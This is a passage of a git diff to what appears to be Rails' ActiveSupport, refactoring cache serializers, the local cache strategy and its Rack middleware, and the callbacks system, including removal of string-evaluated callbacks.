+        module Marshal71WithFallback
+          include SerializerWithFallback
+          extend self
+
+          MARSHAL_SIGNATURE = "\x04\x08".b.freeze
+
+          def dump(value)
+            Marshal.dump(value)
+          end
+
+          def _load(dumped)
+            marshal_load(dumped)
+          end
+
+          def dumped?(dumped)
+            dumped.start_with?(MARSHAL_SIGNATURE)
+          end
+        end
+
+        module MessagePackWithFallback
+          include SerializerWithFallback
+          extend self
+
+          def dump(value)
+            ActiveSupport::MessagePack::CacheSerializer.dump(value)
+          end
+
+          def _load(dumped)
+            ActiveSupport::MessagePack::CacheSerializer.load(dumped)
+          end
+
+          def dumped?(dumped)
+            available? && ActiveSupport::MessagePack.signature?(dumped)
+          end
+
+          private
+            def available?
+              return @available if defined?(@available)
+              silence_warnings { require "active_support/message_pack" }
+              @available = true
+            rescue LoadError
+              @available = false
+            end
+        end
+
+        SERIALIZERS = {
+          passthrough: PassthroughWithFallback,
+          marshal_7_0: Marshal70WithFallback,
+          marshal_7_1: Marshal71WithFallback,
+          message_pack: MessagePackWithFallback,
+        }
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index 672eb2bb8054a..b306b3392c03d 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -1,10 +1,12 @@
-require "active_support/core_ext/object/duplicable"
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/inflections"
-require "active_support/per_thread_registry"
 
 module ActiveSupport
   module Cache
     module Strategy
+      # = Local \Cache \Strategy
+      #
       # Caches that implement LocalCache will be backed by an in-memory cache for the
       # duration of a block. Repeated calls to the cache for the same key will hit the
       # in-memory cache for faster access.
@@ -12,76 +14,84 @@ module LocalCache
         autoload :Middleware, "active_support/cache/strategy/local_cache_middleware"
 
         # Class for storing and registering the local caches.
-        class LocalCacheRegistry # :nodoc:
-          extend ActiveSupport::PerThreadRegistry
-
-          def initialize
-            @registry = {}
-          end
+        module LocalCacheRegistry # :nodoc:
+          extend self
 
           def cache_for(local_cache_key)
-            @registry[local_cache_key]
+            registry = ActiveSupport::IsolatedExecutionState[:active_support_local_cache_registry] ||= {}
+            registry[local_cache_key]
           end
 
           def set_cache_for(local_cache_key, value)
-            @registry[local_cache_key] = value
+            registry = ActiveSupport::IsolatedExecutionState[:active_support_local_cache_registry] ||= {}
+            registry[local_cache_key] = value
           end
-
-          def self.set_cache_for(l, v); instance.set_cache_for l, v; end
-          def self.cache_for(l); instance.cache_for l; end
         end
 
+        # = Local \Cache \Store
+        #
         # Simple memory backed cache. This cache is not thread safe and is intended only
         # for serving as a temporary memory cache for a single thread.
-        class LocalStore < Store
+        class LocalStore
           def initialize
-            super
             @data = {}
           end
 
-          # Don't allow synchronizing since it isn't thread safe.
-          def synchronize # :nodoc:
-            yield
-          end
-
-          def clear
+          def clear(options = nil)
             @data.clear
           end
 
-          def read_entry(key, options)
+          def read_entry(key)
             @data[key]
           end
 
-          def write_entry(key, value, options)
-            @data[key] = value
+          def read_multi_entries(keys)
+            @data.slice(*keys)
+          end
+
+          def write_entry(key, entry)
+            @data[key] = entry
             true
           end
 
-          def delete_entry(key, options)
+          def delete_entry(key)
             !!@data.delete(key)
           end
 
-          def fetch_entry(key, options = nil) # :nodoc:
+          def fetch_entry(key) # :nodoc:
             @data.fetch(key) { @data[key] = yield }
           end
         end
 
         # Use a local cache for the duration of block.
-        def with_local_cache
-          use_temporary_local_cache(LocalStore.new) { yield }
+        def with_local_cache(&block)
+          use_temporary_local_cache(LocalStore.new, &block)
+        end
+
+        # Set a new local cache.
+        def new_local_cache
+          LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
+        end
+
+        # Unset the current local cache.
+        def unset_local_cache
+          LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+        end
+
+        # The current local cache.
+        def local_cache
+          LocalCacheRegistry.cache_for(local_cache_key)
         end
 
         # Middleware class can be inserted as a Rack handler to be local cache for the
         # duration of request.
         def middleware
-          @middleware ||= Middleware.new(
-            "ActiveSupport::Cache::Strategy::LocalCache",
-            local_cache_key)
+          @middleware ||= Middleware.new("ActiveSupport::Cache::Strategy::LocalCache", self)
         end
 
-        def clear # :nodoc:
+        def clear(options = nil) # :nodoc:
           return super unless cache = local_cache
-          cache.clear
+          cache.clear(options)
           super
         end
 
@@ -91,48 +101,125 @@ def cleanup(options = nil) # :nodoc:
           super
         end
 
-        def increment(name, amount = 1, options = nil) # :nodoc:
+        def delete_matched(matcher, options = nil) # :nodoc:
+          return super unless cache = local_cache
+          cache.clear(options)
+          super
+        end
+
+        def increment(name, amount = 1, **options) # :nodoc:
           return super unless local_cache
           value = bypass_local_cache { super }
-          write_cache_value(name, value, options)
+          write_cache_value(name, value, raw: true, **options)
           value
         end
 
-        def decrement(name, amount = 1, options = nil) # :nodoc:
+        def decrement(name, amount = 1, **options) # :nodoc:
           return super unless local_cache
           value = bypass_local_cache { super }
-          write_cache_value(name, value, options)
+          write_cache_value(name, value, raw: true, **options)
           value
         end
 
+        def fetch_multi(*names, &block) # :nodoc:
+          return super if local_cache.nil? || names.empty?
+
+          options = names.extract_options!
+          options = merged_options(options)
+
+          keys_to_names = names.index_by { |name| normalize_key(name, options) }
+
+          local_entries = local_cache.read_multi_entries(keys_to_names.keys)
+          results = local_entries.each_with_object({}) do |(key, value), result|
+            # If we recorded a miss in the local cache, `#fetch_multi` will forward
+            # that key to the real store, and the entry will be replaced
+            # local_cache.delete_entry(key)
+            next if value.nil?
+
+            entry = deserialize_entry(value, **options)
+
+            normalized_key = keys_to_names[key]
+            if entry.nil?
+              result[normalized_key] = nil
+            elsif entry.expired? || entry.mismatched?(normalize_version(normalized_key, options))
+              local_cache.delete_entry(key)
+            else
+              result[normalized_key] = entry.value
+            end
+          end
+
+          if results.size < names.size
+            results.merge!(super(*(names - results.keys), options, &block))
+          end
+
+          results
+        end
+
         private
-          def read_entry(key, options)
+          def read_serialized_entry(key, raw: false, **options)
             if cache = local_cache
-              cache.fetch_entry(key) { super }
+              hit = true
+              entry = cache.fetch_entry(key) do
+                hit = false
+                super
+              end
+              options[:event][:store] = cache.class.name if hit && options[:event]
+              entry
             else
               super
             end
           end
 
-          def write_entry(key, entry, options)
-            local_cache.write_entry(key, entry, options) if local_cache
-            super
+          def read_multi_entries(names, **options)
+            return super unless local_cache
+
+            keys_to_names = names.index_by { |name| normalize_key(name, options) }
+
+            local_entries = local_cache.read_multi_entries(keys_to_names.keys)
+
+            results = local_entries.each_with_object({}) do |(key, value), result|
+              next if value.nil? # recorded cache miss
+
+              entry = deserialize_entry(value, **options)
+
+              normalized_key = keys_to_names[key]
+              if entry.nil?
+                result[normalized_key] = nil
+              elsif entry.expired? || entry.mismatched?(normalize_version(normalized_key, options))
+                local_cache.delete_entry(key)
+              else
+                result[normalized_key] = entry.value
+              end
+            end
+
+            if results.size < names.size
+              results.merge!(super(names - results.keys, **options))
+            end
+
+            results
+          end
+
+          def write_serialized_entry(key, payload, **)
+            if return_value = super
+              local_cache.write_entry(key, payload) if local_cache
+            else
+              local_cache.delete_entry(key) if local_cache
+            end
+            return_value
           end
 
-          def delete_entry(key, options)
-            local_cache.delete_entry(key, options) if local_cache
+          def delete_entry(key, **)
+            local_cache.delete_entry(key) if local_cache
             super
           end
 
-          def write_cache_value(name, value, options)
+          def write_cache_value(name, value, **options)
             name = normalize_key(name, options)
             cache = local_cache
-            cache.mute do
-              if value
-                cache.write(name, value, options)
-              else
-                cache.delete(name, options)
-              end
+            if value
+              cache.write_entry(name, serialize_entry(new_entry(value, **options), **options))
+            else
+              cache.delete_entry(name)
             end
           end
 
@@ -140,12 +227,8 @@ def local_cache_key
             @local_cache_key ||= "#{self.class.name.underscore}_local_cache_#{object_id}".gsub(/[\/-]/, "_").to_sym
           end
 
-          def local_cache
-            LocalCacheRegistry.cache_for(local_cache_key)
-          end
-
-          def bypass_local_cache
-            use_temporary_local_cache(nil) { yield }
+          def bypass_local_cache(&block)
+            use_temporary_local_cache(nil, &block)
           end
 
           def use_temporary_local_cache(temporary_cache)
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
index 174cb72b1e7d3..d5476731eb3de 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rack/body_proxy"
 require "rack/utils"
 
@@ -9,11 +11,12 @@ module LocalCache
         # This class wraps up local storage for middlewares. Only the middleware method should
         # construct them.
         class Middleware # :nodoc:
-          attr_reader :name, :local_cache_key
+          attr_reader :name
+          attr_accessor :cache
 
-          def initialize(name, local_cache_key)
+          def initialize(name, cache)
             @name = name
-            @local_cache_key = local_cache_key
+            @cache = cache
             @app = nil
           end
 
@@ -23,18 +26,17 @@ def new(app)
           end
 
           def call(env)
-            LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
+            cache.new_local_cache
             response = @app.call(env)
             response[2] = ::Rack::BodyProxy.new(response[2]) do
-              LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+              cache.unset_local_cache
             end
+            cleanup_on_body_close = true
             response
           rescue Rack::Utils::InvalidParameterError
-            LocalCacheRegistry.set_cache_for(local_cache_key, nil)
             [400, {}, []]
-          rescue Exception
-            LocalCacheRegistry.set_cache_for(local_cache_key, nil)
-            raise
+          ensure
+            cache.unset_local_cache unless cleanup_on_body_close
           end
         end
       end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index ea71569ca8d69..1ca6002043ffa 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -1,31 +1,36 @@
+# frozen_string_literal: true
+
 require "active_support/concern"
 require "active_support/descendants_tracker"
 require "active_support/core_ext/array/extract_options"
 require "active_support/core_ext/class/attribute"
-require "active_support/core_ext/kernel/reporting"
-require "active_support/core_ext/kernel/singleton_class"
+require "active_support/core_ext/module/redefine_method"
 require "active_support/core_ext/string/filters"
-require "active_support/deprecation"
-require "thread"
+require "active_support/core_ext/object/blank"
 
 module ActiveSupport
-  # Callbacks are code hooks that are run at key points in an object's life cycle.
+  # = Active Support \Callbacks
+  #
+  # \Callbacks are code hooks that are run at key points in an object's life cycle.
   # The typical use case is to have a base class define a set of callbacks
   # relevant to the other functionality it supplies, so that subclasses can
   # install callbacks that enhance or modify the base functionality without
   # needing to override or redefine methods of the base class.
   #
   # Mixing in this module allows you to define the events in the object's
-  # life cycle that will support callbacks (via +ClassMethods.define_callbacks+),
+  # life cycle that will support callbacks (via ClassMethods#define_callbacks),
   # set the instance methods, procs, or callback objects to be called (via
-  # +ClassMethods.set_callback+), and run the installed callbacks at the
+  # ClassMethods#set_callback), and run the installed callbacks at the
   # appropriate times (via +run_callbacks+).
   #
+  # By default callbacks are halted by throwing +:abort+.
+  # See ClassMethods#define_callbacks for details.
+  #
   # Three kinds of callbacks are supported: before callbacks, run before a
   # certain event; after callbacks, run after the event; and around callbacks,
   # blocks that surround the event, triggering it when they yield. Callback code
   # can be contained in instance methods, procs or lambdas, or callback objects
-  # that respond to certain predetermined methods. See +ClassMethods.set_callback+
+  # that respond to certain predetermined methods. See ClassMethods#set_callback
   # for details.
   #
   #   class Record
@@ -62,11 +67,10 @@ module Callbacks
 
     included do
       extend ActiveSupport::DescendantsTracker
-      class_attribute :__callbacks, instance_writer: false
-      self.__callbacks ||= {}
+      class_attribute :__callbacks, instance_writer: false, instance_predicate: false, default: {}
     end
 
-    CALLBACK_FILTER_TYPES = [:before, :after, :around]
+    CALLBACK_FILTER_TYPES = [:before, :after, :around].freeze
 
     # Runs the callbacks for the given event.
     #
@@ -90,40 +94,15 @@ module Callbacks
     # callback can be as noisy as it likes -- but when control has passed
     # smoothly through and into the supplied block, we want as little evidence
     # as possible that we were here.
-    def run_callbacks(kind)
+    def run_callbacks(kind, type = nil)
       callbacks = __callbacks[kind.to_sym]
 
       if callbacks.empty?
         yield if block_given?
       else
         env = Filters::Environment.new(self, false, nil)
-        next_sequence = callbacks.compile
-
-        invoke_sequence = Proc.new do
-          skipped = nil
-          while true
-            current = next_sequence
-            current.invoke_before(env)
-            if current.final?
-              env.value = !env.halted && (!block_given? || yield)
-            elsif current.skip?(env)
-              (skipped ||= []) << current
-              next_sequence = next_sequence.nested
-              next
-            else
-              next_sequence = next_sequence.nested
-              begin
-                target, block, method, *arguments = current.expand_call_template(env, invoke_sequence)
-                target.send(method, *arguments, &block)
-              ensure
-                next_sequence = current
-              end
-            end
-            current.invoke_after(env)
-            skipped.pop.invoke_after(env) while skipped && skipped.first
-            break env.value
-          end
-        end
+
+        next_sequence = callbacks.compile(type)
 
         # Common case: no 'around' callbacks defined
         if next_sequence.final?
@@ -132,20 +111,46 @@ def run_callbacks(kind)
           next_sequence.invoke_after(env)
           env.value
         else
+          invoke_sequence = Proc.new do
+            skipped = nil
+
+            while true
+              current = next_sequence
+              current.invoke_before(env)
+              if current.final?
+                env.value = !env.halted && (!block_given? || yield)
+              elsif current.skip?(env)
+                (skipped ||= []) << current
+                next_sequence = next_sequence.nested
+                next
+              else
+                next_sequence = next_sequence.nested
+                begin
+                  target, block, method, *arguments = current.expand_call_template(env, invoke_sequence)
+                  target.send(method, *arguments, &block)
+                ensure
+                  next_sequence = current
+                end
+              end
+              current.invoke_after(env)
+              skipped.pop.invoke_after(env) while skipped&.first
+              break env.value
+            end
+          end
+
           invoke_sequence.call
         end
       end
     end
 
     private
-
       # A hook invoked every time a before callback is halted.
       # This can be overridden in ActiveSupport::Callbacks implementors in order
       # to provide better debugging/logging.
-      def halted_callback_hook(filter)
+      def halted_callback_hook(filter, name)
       end
 
-      module Conditionals # :nodoc:
+      module Conditionals # :nodoc: all
         class Value
           def initialize(&block)
             @block = block
@@ -154,132 +159,79 @@ def call(target, value); @block.call(value); end
         end
       end
 
-      module Filters
+      module Filters # :nodoc: all
         Environment = Struct.new(:target, :halted, :value)
 
         class Before
-          def self.build(callback_sequence, user_callback, user_conditions, chain_config, filter)
+          def initialize(user_callback, user_conditions, chain_config, filter, name)
             halted_lambda = chain_config[:terminator]
-
-            if user_conditions.any?
-              halting_and_conditional(callback_sequence, user_callback, user_conditions, halted_lambda, filter)
-            else
-              halting(callback_sequence, user_callback, halted_lambda, filter)
-            end
+            @user_callback, @user_conditions, @halted_lambda, @filter, @name = user_callback, user_conditions, halted_lambda, filter, name
+            freeze
           end
+          attr_reader :user_callback, :user_conditions, :halted_lambda, :filter, :name
 
-          def self.halting_and_conditional(callback_sequence, user_callback, user_conditions, halted_lambda, filter)
-            callback_sequence.before do |env|
-              target = env.target
-              value  = env.value
-              halted = env.halted
+          def call(env)
+            target = env.target
+            value  = env.value
+            halted = env.halted
 
-              if !halted && user_conditions.all? { |c| c.call(target, value) }
-                result_lambda = -> { user_callback.call target, value }
-                env.halted = halted_lambda.call(target, result_lambda)
-                if env.halted
-                  target.send :halted_callback_hook, filter
-                end
+            if !halted && user_conditions.all? { |c| c.call(target, value) }
+              result_lambda = -> { user_callback.call target, value }
+              env.halted = halted_lambda.call(target, result_lambda)
+              if env.halted
+                target.send :halted_callback_hook, filter, name
               end
-
-              env
             end
-          end
-          private_class_method :halting_and_conditional
-
-          def self.halting(callback_sequence, user_callback, halted_lambda, filter)
-            callback_sequence.before do |env|
-              target = env.target
-              value  = env.value
-              halted = env.halted
-
-              unless halted
-                result_lambda = -> { user_callback.call target, value }
-                env.halted = halted_lambda.call(target, result_lambda)
 
-                if env.halted
-                  target.send :halted_callback_hook, filter
-                end
-              end
+            env
+          end
 
-              env
-            end
+          def apply(callback_sequence)
+            callback_sequence.before(self)
           end
-          private_class_method :halting
         end
 
         class After
-          def self.build(callback_sequence, user_callback, user_conditions, chain_config)
-            if chain_config[:skip_after_callbacks_if_terminated]
-              if user_conditions.any?
-                halting_and_conditional(callback_sequence, user_callback, user_conditions)
-              else
-                halting(callback_sequence, user_callback)
-              end
-            else
-              if user_conditions.any?
-                conditional callback_sequence, user_callback, user_conditions
-              else
-                simple callback_sequence, user_callback
-              end
-            end
+          attr_reader :user_callback, :user_conditions, :halting
+          def initialize(user_callback, user_conditions, chain_config)
+            halting = chain_config[:skip_after_callbacks_if_terminated]
+            @user_callback, @user_conditions, @halting = user_callback, user_conditions, halting
+            freeze
           end
 
-          def self.halting_and_conditional(callback_sequence, user_callback, user_conditions)
-            callback_sequence.after do |env|
-              target = env.target
-              value  = env.value
-              halted = env.halted
-
-              if !halted && user_conditions.all? { |c| c.call(target, value) }
-                user_callback.call target, value
-              end
+          def call(env)
+            target = env.target
+            value  = env.value
+            halted = env.halted
 
-              env
+            if (!halted || !@halting) && user_conditions.all? { |c| c.call(target, value) }
+              user_callback.call target, value
             end
-          end
-          private_class_method :halting_and_conditional
 
-          def self.halting(callback_sequence, user_callback)
-            callback_sequence.after do |env|
-              unless env.halted
-                user_callback.call env.target, env.value
-              end
-
-              env
-            end
+            env
           end
-          private_class_method :halting
 
-          def self.conditional(callback_sequence, user_callback, user_conditions)
-            callback_sequence.after do |env|
-              target = env.target
-              value  = env.value
-
-              if user_conditions.all? { |c| c.call(target, value) }
-                user_callback.call target, value
-              end
-
-              env
-            end
+          def apply(callback_sequence)
+            callback_sequence.after(self)
           end
-          private_class_method :conditional
+        end
 
-          def self.simple(callback_sequence, user_callback)
-            callback_sequence.after do |env|
-              user_callback.call env.target, env.value
+        class Around
+          def initialize(user_callback, user_conditions)
+            @user_callback, @user_conditions = user_callback, user_conditions
+            freeze
+          end
 
-              env
-            end
+          def apply(callback_sequence)
+            callback_sequence.around(@user_callback, @user_conditions)
           end
-          private_class_method :simple
         end
       end
 
-      class Callback #:nodoc:#
+      class Callback # :nodoc:
         def self.build(chain, filter, kind, options)
           if filter.is_a?(String)
-            raise ArgumentError, <<-MSG.squish
+            raise ArgumentError, <<~MSG.squish
               Passing string to define a callback is not supported. See the `.set_callback`
               documentation to see supported values.
             MSG
@@ -289,20 +241,18 @@ def self.build(chain, filter, kind, options)
         end
 
         attr_accessor :kind, :name
-        attr_reader :chain_config
+        attr_reader :chain_config, :filter
 
         def initialize(name, filter, kind, options, chain_config)
           @chain_config = chain_config
           @name    = name
           @kind    = kind
           @filter  = filter
-          @key     = compute_identifier filter
-          @if      = Array(options[:if])
-          @unless  = Array(options[:unless])
-        end
+          @if      = check_conditionals(options[:if])
+          @unless  = check_conditionals(options[:unless])
 
-        def filter; @key; end
-        def raw_filter; @filter; end
+          compiled
+        end
 
         def merge_conditional_options(chain, if_option:, unless_option:)
           options = {
@@ -322,26 +272,33 @@ def matches?(_kind, _filter)
 
         def duplicates?(other)
           case @filter
-          when Symbol, String
+          when Symbol
             matches?(other.kind, other.filter)
           else
             false
           end
         end
 
+        def compiled
+          @compiled ||=
+            begin
+              user_conditions = conditions_lambdas
+              user_callback = CallTemplate.build(@filter, self)
+
+              case kind
+              when :before
+                Filters::Before.new(user_callback.make_lambda, user_conditions, chain_config, @filter, name)
+              when :after
+                Filters::After.new(user_callback.make_lambda, user_conditions, chain_config)
+              when :around
+                Filters::Around.new(user_callback, user_conditions)
+              end
+            end
+        end
+
         # Wraps code with filter
         def apply(callback_sequence)
-          user_conditions = conditions_lambdas
-          user_callback = CallTemplate.build(@filter, self)
-
-          case kind
-          when :before
-            Filters::Before.build(callback_sequence, user_callback.make_lambda, user_conditions, chain_config, @filter)
-          when :after
-            Filters::After.build(callback_sequence, user_callback.make_lambda, user_conditions, chain_config)
-          when :around
-            callback_sequence.around(user_callback, user_conditions)
-          end
+          compiled.apply(callback_sequence)
         end
 
         def current_scopes
@@ -349,84 +306,187 @@ def current_scopes
         end
 
         private
-          def compute_identifier(filter)
-            case filter
-            when String, ::Proc
-              filter.object_id
-            else
-              filter
+          EMPTY_ARRAY = [].freeze
+          private_constant :EMPTY_ARRAY
+
+          def check_conditionals(conditionals)
+            return EMPTY_ARRAY if conditionals.blank?
+
+            conditionals = Array(conditionals)
+            if conditionals.any?(String)
+              raise ArgumentError, <<~MSG.squish
+                Passing string to be evaluated in :if and :unless conditional
+                options is not supported. Pass a symbol for an instance method,
+                or a lambda, proc or block, instead.
+              MSG
             end
+
+            conditionals.freeze
           end
 
           def conditions_lambdas
-            @if.map { |c| CallTemplate.build(c, self).make_lambda } +
+            conditions =
+              @if.map { |c| CallTemplate.build(c, self).make_lambda } +
               @unless.map { |c| CallTemplate.build(c, self).inverted_lambda }
+            conditions.empty? ? EMPTY_ARRAY : conditions
           end
       end
 
       # A future invocation of user-supplied code (either as a callback,
       # or a condition filter).
-      class CallTemplate # :nodoc:
-        def initialize(target, method, arguments, block)
-          @override_target = target
-          @method_name = method
-          @arguments = arguments
-          @override_block = block
+      module CallTemplate # :nodoc: all
+        class MethodCall
+          def initialize(method)
+            @method_name = method
+          end
+
+          # Return the parts needed to make this call, with the given
+          # input values.
+          #
+          # Returns an array of the form:
+          #
+          #   [target, block, method, *arguments]
+          #
+          # This array can be used as such:
+          #
+          #   target.send(method, *arguments, &block)
+          #
+          # The actual invocation is left up to the caller to minimize
+          # call stack pollution.
+          def expand(target, value, block)
+            [target, block, @method_name]
+          end
+
+          def make_lambda
+            lambda do |target, value, &block|
+              target.send(@method_name, &block)
+            end
+          end
+
+          def inverted_lambda
+            lambda do |target, value, &block|
+              !target.send(@method_name, &block)
+            end
+          end
         end
 
-        # Return the parts needed to make this call, with the given
-        # input values.
-        #
-        # Returns an array of the form:
-        #
-        #   [target, block, method, *arguments]
-        #
-        # This array can be used as such:
-        #
-        #   target.send(method, *arguments, &block)
-        #
-        # The actual invocation is left up to the caller to minimize
-        # call stack pollution.
-        def expand(target, value, block)
-          result = @arguments.map { |arg|
-            case arg
-            when :value; value
-            when :target; target
-            when :block; block || raise(ArgumentError)
+        class ObjectCall
+          def initialize(target, method)
+            @override_target = target
+            @method_name = method
+          end
+
+          def expand(target, value, block)
+            [@override_target || target, block, @method_name, target]
+          end
+
+          def make_lambda
+            lambda do |target, value, &block|
+              (@override_target || target).send(@method_name, target, &block)
             end
-          }
+          end
+
+          def inverted_lambda
+            lambda do |target, value, &block|
+              !(@override_target || target).send(@method_name, target, &block)
+            end
+          end
+        end
+
+        class InstanceExec0
+          def initialize(block)
+            @override_block = block
+          end
+
+          def expand(target, value, block)
+            [target, @override_block, :instance_exec]
+          end
+
+          def make_lambda
+            lambda do |target, value, &block|
+              target.instance_exec(&@override_block)
+            end
+          end
+
+          def inverted_lambda
+            lambda do |target, value, &block|
+              !target.instance_exec(&@override_block)
+            end
+          end
+        end
+
+        class InstanceExec1
+          def initialize(block)
+            @override_block = block
+          end
+
+          def expand(target, value, block)
+            [target, @override_block, :instance_exec, target]
+          end
 
-          result.unshift @method_name
-          result.unshift @override_block || block
-          result.unshift @override_target || target
+          def make_lambda
+            lambda do |target, value, &block|
+              target.instance_exec(target, &@override_block)
+            end
+          end
 
-          # target, block, method, *arguments = result
-          # target.send(method, *arguments, &block)
-          result
+          def inverted_lambda
+            lambda do |target, value, &block|
+              !target.instance_exec(target, &@override_block)
+            end
+          end
         end
 
-        # Return a lambda that will make this call when given the input
-        # values.
-        def make_lambda
-          lambda do |target, value, &block|
-            target, block, method, *arguments = expand(target, value, block)
-            target.send(method, *arguments, &block)
+        class InstanceExec2
+          def initialize(block)
+            @override_block = block
+          end
+
+          def expand(target, value, block)
+            raise ArgumentError unless block
+            [target, @override_block || block, :instance_exec, target, block]
+          end
+
+          def make_lambda
+            lambda do |target, value, &block|
+              raise ArgumentError unless block
+              target.instance_exec(target, block, &@override_block)
+            end
+          end
+
+          def inverted_lambda
+            lambda do |target, value, &block|
+              raise ArgumentError unless block
+              !target.instance_exec(target, block, &@override_block)
+            end
           end
         end
 
-        # Return a lambda that will make this call when given the input
-        # values, but then return the boolean inverse of that result.
-        def inverted_lambda
-          lambda do |target, value, &block|
-            target, block, method, *arguments = expand(target, value, block)
-            ! target.send(method, *arguments, &block)
+        class ProcCall
+          def initialize(target)
+            @override_target = target
+          end
+
+          def expand(target, value, block)
+            [@override_target || target, block, :call, target, value]
+          end
+
+          def make_lambda
+            lambda do |target, value, &block|
+              (@override_target || target).call(target, value, &block)
+            end
+          end
+
+          def inverted_lambda
+            lambda do |target, value, &block|
+              !(@override_target || target).call(target, value, &block)
+            end
           end
         end
 
         # Filters support:
         #
         #   Symbols:: A method to call.
-        #   Strings:: Some content to evaluate.
         #   Procs::   A proc to call with the object.
         #   Objects:: An object with a <tt>before_foo</tt> method on it to call.
         #
@@ -435,29 +495,22 @@ def inverted_lambda
         def self.build(filter, callback)
           case filter
           when Symbol
-            new(nil, filter, [], nil)
-          when String
-            new(nil, :instance_exec, [:value], compile_lambda(filter))
+            MethodCall.new(filter)
           when Conditionals::Value
-            new(filter, :call, [:target, :value], nil)
+            ProcCall.new(filter)
           when ::Proc
-            if filter.arity > 1
-              new(nil, :instance_exec, [:target, :block], filter)
-            elsif filter.arity > 0
-              new(nil, :instance_exec, [:target], filter)
+            case filter.arity
+            when 2
+              InstanceExec2.new(filter)
+            when 1, -2
+              InstanceExec1.new(filter)
             else
-              new(nil, :instance_exec, [], filter)
+              InstanceExec0.new(filter)
             end
           else
-            method_to_call = callback.current_scopes.join("_")
-
-            new(filter, method_to_call, [:target], nil)
+            ObjectCall.new(filter, callback.current_scopes.join("_").to_sym)
           end
         end
-
-        def self.compile_lambda(filter)
-          eval("lambda { |value| #{filter} }")
-        end
       end
 
       # Execute before and after filters in a sequence instead of
@@ -469,16 +522,18 @@ def initialize(nested = nil, call_template = nil, user_conditions = nil)
           @call_template = call_template
           @user_conditions = user_conditions
 
-          @before = []
-          @after = []
+          @before = nil
+          @after = nil
         end
 
-        def before(&before)
+        def before(before)
+          @before ||= []
           @before.unshift(before)
           self
         end
 
-        def after(&after)
+        def after(after)
+          @after ||= []
           @after.push(after)
           self
         end
@@ -491,9 +546,7 @@ def skip?(arg)
           arg.halted || !@user_conditions.all? { |c| c.call(arg.target, arg.value) }
         end
 
-        def nested
-          @nested
-        end
+        attr_reader :nested
 
         def final?
           !@call_template
@@ -504,16 +557,15 @@ def expand_call_template(arg, block)
         end
 
         def invoke_before(arg)
-          @before.each { |b| b.call(arg) }
+          @before&.each { |b| b.call(arg) }
         end
 
         def invoke_after(arg)
-          @after.each { |a| a.call(arg) }
+          @after&.each { |a| a.call(arg) }
         end
       end
 
-      # An Array with a compile method.
-      class CallbackChain #:nodoc:#
+      class CallbackChain # :nodoc:
         include Enumerable
 
         attr_reader :name, :config
@@ -522,10 +574,11 @@ def initialize(name, config)
           @name = name
           @config = {
             scope: [:kind],
-            terminator: default_terminator
+            terminator: DEFAULT_TERMINATOR
           }.merge!(config)
           @chain = []
-          @callbacks = nil
+          @all_callbacks = nil
+          @single_callbacks = {}
           @mutex = Mutex.new
         end
 
@@ -534,32 +587,45 @@ def index(o);     @chain.index(o); end
         def empty?;       @chain.empty?; end
 
         def insert(index, o)
-          @callbacks = nil
+          @all_callbacks = nil
+          @single_callbacks.clear
           @chain.insert(index, o)
         end
 
         def delete(o)
-          @callbacks = nil
+          @all_callbacks = nil
+          @single_callbacks.clear
           @chain.delete(o)
         end
 
         def clear
-          @callbacks = nil
+          @all_callbacks = nil
+          @single_callbacks.clear
           @chain.clear
           self
         end
 
         def initialize_copy(other)
-          @callbacks = nil
+          @all_callbacks = nil
+          @single_callbacks = {}
           @chain     = other.chain.dup
           @mutex     = Mutex.new
         end
 
-        def compile
-          @callbacks || @mutex.synchronize do
-            final_sequence = CallbackSequence.new
-            @callbacks ||= @chain.reverse.inject(final_sequence) do |callback_sequence, callback|
-              callback.apply callback_sequence
+        def compile(type)
+          if type.nil?
+            @all_callbacks || @mutex.synchronize do
+              final_sequence = CallbackSequence.new
+              @all_callbacks ||= @chain.reverse.inject(final_sequence) do |callback_sequence, callback|
+                callback.apply(callback_sequence)
+              end
+            end
+          else
+            @single_callbacks[type] || @mutex.synchronize do
+              final_sequence = CallbackSequence.new
+              @single_callbacks[type] ||= @chain.reverse.inject(final_sequence) do |callback_sequence, callback|
+                type == callback.kind ? callback.apply(callback_sequence) : callback_sequence
+              end
             end
           end
         end
@@ -573,37 +639,40 @@ def prepend(*callbacks)
         end
 
         protected
-          def chain; @chain; end
+          attr_reader :chain
 
         private
-
           def append_one(callback)
-            @callbacks = nil
+            @all_callbacks = nil
+            @single_callbacks.clear
             remove_duplicates(callback)
             @chain.push(callback)
           end
 
           def prepend_one(callback)
-            @callbacks = nil
+            @all_callbacks = nil
+            @single_callbacks.clear
             remove_duplicates(callback)
             @chain.unshift(callback)
           end
 
           def remove_duplicates(callback)
-            @callbacks = nil
+            @all_callbacks = nil
+            @single_callbacks.clear
             @chain.delete_if { |c| callback.duplicates?(c) }
           end
 
-          def default_terminator
-            Proc.new do |target, result_lambda|
+          class DefaultTerminator # :nodoc:
+            def call(target, result_lambda)
               terminate = true
               catch(:abort) do
-                result_lambda.call if result_lambda.is_a?(Proc)
+                result_lambda.call
                 terminate = false
               end
               terminate
             end
           end
+          DEFAULT_TERMINATOR = DefaultTerminator.new.freeze
       end
 
       module ClassMethods
@@ -616,8 +685,8 @@ def normalize_callback_params(filters, block) # :nodoc:
 
         # This is used internally to append, prepend and skip callbacks to the
         # CallbackChain.
-        def __update_callbacks(name) #:nodoc:
-          ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse_each do |target|
+        def __update_callbacks(name) # :nodoc:
+          self.descendants.prepend(self).reverse_each do |target|
             chain = target.get_callbacks name
             yield target, chain.dup
           end
